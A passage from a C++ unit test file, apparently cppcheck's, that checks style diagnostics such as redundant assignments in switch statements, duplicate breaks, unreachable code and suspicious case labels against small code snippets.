foo()\\n\"\n \"{\\n\"\n \" int x = a;\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" x++;\\n\"\n \" case 3:\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" continue;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" throw e;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" bar();\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10] -> [test.cpp:10:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"bool f() {\\n\"\n \" bool ret = false;\\n\"\n \" switch (switchCond) {\\n\"\n \" case 1:\\n\"\n \" ret = true;\\n\"\n \" break;\\n\"\n \" case 31:\\n\"\n \" ret = true;\\n\"\n \" break;\\n\"\n \" case 54:\\n\"\n \" ret = true;\\n\"\n \" break;\\n\"\n \" };\\n\"\n \" ret = true;\\n\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13] -> [test.cpp:14:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:8:13] -> [test.cpp:14:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:11:13] -> [test.cpp:14:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\",\n errout_str());\n }\n\n void switchRedundantBitwiseOperationTest() {\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = y | 3;\\n\"\n \" case 3:\\n\"\n \" y = y | 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" default:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" default:\\n\"\n \" if (z)\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= z;\\n\"\n \" z++;\\n\"\n \" default:\\n\"\n \" y |= z;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" bar(y);\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" y = 4;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:11] -> [test.cpp:8:11]: (style) Variable 'y' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y &= 3;\\n\"\n \" case 3:\\n\"\n \" y &= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y ^= 3;\\n\"\n \" case 3:\\n\"\n \" y ^= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 2;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y &= 2;\\n\"\n \" case 3:\\n\"\n \" y &= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 2;\\n\"\n \" case 3:\\n\"\n \" y &= 2;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void unreachableCode() {\n check(\"void foo(int a) {\\n\"\n \" while(1) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" break;\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:5:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo(int a) {\\n\"\n \" return 0;\\n\"\n \" return(a-1);\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo(int a) {\\n\"\n \" A:\"\n \" return(0);\\n\"\n \" goto A;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n constexpr char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" true\\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n /*const*/ Settings settings = settingsBuilder().libraryxml(xmldata).build();\n\n check(\"void foo() {\\n\"\n \" exit(0);\\n\"\n \" break;\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"class NeonSession {\\n\"\n \" void exit();\\n\"\n \"};\\n\"\n \"void NeonSession::exit()\\n\"\n \"{\\n\"\n \" SAL_INFO(\\\"ucb.ucp.webdav\\\", \\\"neon commands cannot be aborted\\\");\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void NeonSession::exit()\\n\"\n \"{\\n\"\n \" SAL_INFO(\\\"ucb.ucp.webdav\\\", \\\"neon commands cannot be aborted\\\");\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() { xResAccess->exit(); }\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" switch(a) {\\n\"\n \" case 0:\\n\"\n \" printf(\\\"case 0\\\");\\n\"\n \" break;\\n\"\n \" break;\\n\"\n \" case 1:\\n\"\n \" c++;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:7:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" switch(a) {\\n\"\n \" case 0:\\n\"\n \" printf(\\\"case 0\\\");\\n\"\n \" break;\\n\"\n \" case 1:\\n\"\n \" c++;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" while(true) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" break;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:6:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" while(true) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" continue;\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" a+=2;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:6:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" while(true) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" a+=2;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" throw 0;\\n\"\n \" return 1;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" throw 0;\\n\"\n \" return;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" throw = 0;\\n\"\n \" return 1;\\n\"\n \"}\", false, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" return 0;\\n\"\n \" return 1;\\n\"\n \"}\", true, false, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" return 0;\\n\"\n \" foo();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int foo(int unused) {\\n\"\n \" return 0;\\n\"\n \" (void)unused;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int unused1, int unused2) {\\n\"\n \" return 0;\\n\"\n \" (void)unused1;\\n\"\n \" (void)unused2;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int unused1, int unused2) {\\n\"\n \" return 0;\\n\"\n \" (void)unused1;\\n\"\n \" (void)unused2;\\n\"\n \" foo();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:5:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" if(bar)\\n\"\n \" return 0;\\n\"\n \" return 124;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" while(bar) {\\n\"\n \" return 0;\\n\"\n \" return 0;\\n\"\n \" return 0;\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" return 124;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" while(bar) {\\n\"\n \" return;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n // #5707\n check(\"extern int i,j;\\n\"\n \"int foo() {\\n\"\n \" switch(i) {\\n\"\n \" default: j=1; break;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \" j=2;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" return 0;\\n\"\n \" label:\\n\"\n \" throw 0;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:3]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" virtual void foo (P & Val) throw ();\\n\"\n \" virtual void foo1 (P & Val) throw ();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" goto label;\\n\"\n \" while (true) {\\n\"\n \" bar();\\n\"\n \" label:\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3457\n\n check(\"int foo() {\\n\"\n \" goto label;\\n\"\n \" do {\\n\"\n \" bar();\\n\"\n \" label:\\n\"\n \" } while (true);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3457\n\n check(\"int foo() {\\n\"\n \" goto label;\\n\"\n \" for (;;) {\\n\"\n \" bar();\\n\"\n \" label:\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3457\n\n // #3383. TODO: Use preprocessor\n check(\"int foo() {\\n\"\n \"\\n\" // #ifdef A\n \" return 0;\\n\"\n \"\\n\" // #endif\n \" return 1;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(\"int foo() {\\n\"\n \"\\n\" // #ifdef A\n \" return 0;\\n\"\n \"\\n\" // #endif\n \" return 1;\\n\"\n \"}\", true, true, false);\n ASSERT_EQUALS(\"[test.cpp:5:5]: (style, inconclusive) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n // #4711 lambda functions\n check(\"int f() {\\n\"\n \" return g([](int x){(void)x+1; return x;});\\n\"\n \"}\",\n true,\n false,\n false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4756\n check(\"template <>\\n\"\n \"inline uint16_t htobe(uint16_t value) {\\n\"\n \" return ( __extension__ ({\\n\"\n \" register unsigned short int __v, __x = (unsigned short int) (value);\\n\"\n \" if (__builtin_constant_p (__x))\\n\"\n \" __v = ((unsigned short int) ((((__x) >> 8) & 0xff) | (((__x) & 0xff) << 8)));\\n\"\n \" else\\n\"\n \" __asm__ (\\\"rorw $8, %w0\\\" : \\\"=r\\\" (__v) : \\\"0\\\" (__x) : \\\"cc\\\");\\n\"\n \" (void)__v;\\n\"\n \" }));\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6008\n check(\"static std::function< int ( int, int ) > GetFunctor() {\\n\"\n \" return [](int a_, int b_) -> int {\\n\"\n \" int sum = a_ + b_;\\n\"\n \" return sum;\\n\"\n \" };\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5789\n check(\"struct per_state_info {\\n\"\n \" uint64_t enter, exit;\\n\"\n \" uint64_t events;\\n\"\n \" per_state_info() : enter(0), exit(0), events(0) {}\\n\"\n \"};\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6664\n check(\"void foo() {\\n\"\n \" (beat < 100) ? (void)0 : exit(0);\\n\"\n \" bar();\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" (beat < 100) ? exit(0) : (void)0;\\n\"\n \" bar();\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8261\n // TODO Do not throw AST validation exception\n TODO_ASSERT_THROW(check(\"void foo() {\\n\"\n \" (beat < 100) ? (void)0 : throw(0);\\n\"\n \" bar();\\n\"\n \"}\", true, false, false, false, &settings), InternalError);\n //ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" exit(0);\\n\"\n \" return 1;\\n\" // <- clarify for tools that function does not continue..\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum : uint8_t { A, B } var = A;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define INB(x) __extension__ ({ u_int tmp = (x); inb(tmp); })\\n\" // #4739\n \"static unsigned char cmos_hal_read(unsigned index) {\\n\"\n \" unsigned short port_0, port_1;\\n\"\n \" assert(!verify_cmos_byte_index(index));\\n\"\n \" if (index < 128) {\\n\"\n \" port_0 = 0x70;\\n\"\n \" port_1 = 0x71;\\n\"\n \" }\\n\"\n \" else {\\n\"\n \" port_0 = 0x72;\\n\"\n \" port_1 = 0x73;\\n\"\n \" }\\n\"\n \" OUTB(index, port_0);\\n\"\n \" return INB(port_1);\\n\"\n \"}\\n\", dinit(CheckPOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"[[noreturn]] void n();\\n\"\n \"void f() {\\n\"\n \" n();\\n\"\n \" g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Statements following noreturn function 'n()' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" exit(1);\\n\"\n \" g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Statements following noreturn function 'exit()' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" do {\\n\"\n \" break;\\n\"\n \" g();\\n\"\n \" } while (0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Statements following 'break' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #12244\n \" {\\n\"\n \" std::cout << \\\"x\\\";\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" std::cout << \\\"y\\\";\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" {\\n\"\n \" std::cout << \\\"x\\\";\\n\"\n \" exit(1);\\n\"\n \" }\\n\"\n \" std::cout << \\\"y\\\";\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Statements following noreturn function 'exit()' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #13475\n \" { return 0; };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\" // #13478\n \" int x = 0;\\n\"\n \" switch (i) {\\n\"\n \" { case 0: x = 5; break; }\\n\"\n \" { case 1: x = 7; break; }\\n\"\n \" }\\n\"\n \" return x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int c) {\\n\"\n \" switch (c) {\\n\"\n \" case '\\\\n':\\n\"\n \" { return 1; };\\n\"\n \" default:\\n\"\n \" { return c; };\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int main(int argc, char *argv[]) {\\n\" // #11\n \" switch (argc) {\\n\"\n \" case 0: {\\n\"\n \" return 1;\\n\"\n \" }\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:9]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\"\n \"[test.cpp:1:26]: (style) Parameter 'argv' can be declared as const array [constParameter]\\n\",\n errout_str());\n\n check(\"int f(int i) {\\n\" // #13491\n \" switch (i) {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" int j;\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" j = 5;\\n\"\n \" return j + i;\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" switch (i) {\\n\"\n \" {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" {\\n\"\n \" int j;\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" j = 5;\\n\"\n \" return j + i;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" switch (i) {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" int a[1];\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" a[0] = 5;\\n\"\n \" return a[0] + i;\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" switch (i) {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" int j;\\n\"\n \" dostuff();\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" j = 5;\\n\"\n \" return j + i;\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", \"\", errout_str());\n\n check(\"int f() {\\n\" // #13472\n \" int var;\\n\"\n \" auto int ret();\\n\"\n \" int ret() {\\n\"\n \" return var;\\n\"\n \" }\\n\"\n \" var = 42;\\n\"\n \" return ret();\\n\"\n \"}\\n\", /*cpp*/ false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #13516\n \" io_uring_for_each_cqe(&ring, head, cqe) {\\n\"\n \" if (cqe->res == -EOPNOTSUPP)\\n\"\n \" printf(\\\"error\\\");\\n\"\n \" goto ok;\\n\"\n \" }\\n\"\n \" usleep(10000);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantContinue() {\n check(\"void f() {\\n\" // #11195\n \" for (int i = 0; i < 10; ++i) {\\n\"\n \" printf(\\\"i = %d\\\\n\\\", i);\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) 'continue' is redundant since it is the last statement in a loop. [redundantContinue]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i = 0;\"\n \" do {\\n\"\n \" ++i;\\n\"\n \" printf(\\\"i = %d\\\\n\\\", i);\\n\"\n \" continue;\\n\"\n \" } while (i < 10);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style) 'continue' is redundant since it is the last statement in a loop. [redundantContinue]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #13475\n \" { return 0; };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\" // #13478\n \" int x = 0;\\n\"\n \" switch (i) {\\n\"\n \" { case 0: x = 5; break; }\\n\"\n \" { case 1: x = 7; break; }\\n\"\n \" }\\n\"\n \" return x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int x, int y) {\\n\" // #13544\n \" switch (x) {\\n\"\n \" case 1: {\\n\"\n \" return y != 0;\\n\"\n \" int z = y + 5;\\n\"\n \" return z != 7;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n }\n\n\n void suspiciousCase() {\n check(\"void foo() {\\n\"\n \" switch(a) {\\n\"\n \" case A&&B:\\n\"\n \" foo();\\n\"\n \" case (A||B):\\n\"\n \" foo();\\n\"\n \" case A||B:\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (warning, inconclusive) Found suspicious case label in switch(). Operator '&&' probably doesn't work as intended. [suspiciousCase]\\n\"\n \"[test.cpp:5:16]: (warning, inconclusive) Found suspicious case label in switch(). Operator '||' probably doesn't work as intended. [suspiciousCase]\\n\"\n \"[test.cpp:7:15]: (warning, inconclusive) Found suspicious case label in switch(). Operator '||' probably doesn't work as intended. [suspiciousCase]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" switch(a) {\\n\"\n \" case 1:\\n\"\n \" a=A&&B;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // TODO Do not throw AST validation exception\n TODO_ASSERT_THROW(check(\"void foo() {\\n\"\n \" switch(a) {\\n\"\n \" case A&&B?B:A:\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \"}\"), InternalError);\n //ASSERT_EQUALS(\"\", errout_str());\n }\n\n void suspiciousEqualityComparison() {\n check(\"void foo(int c) {\\n\"\n \" if (x) c == 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(const int* c) {\\n\"\n \" if (x) *c == 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n\n check(\"void foo(int c) {\\n\"\n \" if (c == 1) {\\n\"\n \" c = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" c == 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:7]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (int i = 0; i == 10; i ++) {\\n\"\n \" a ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for 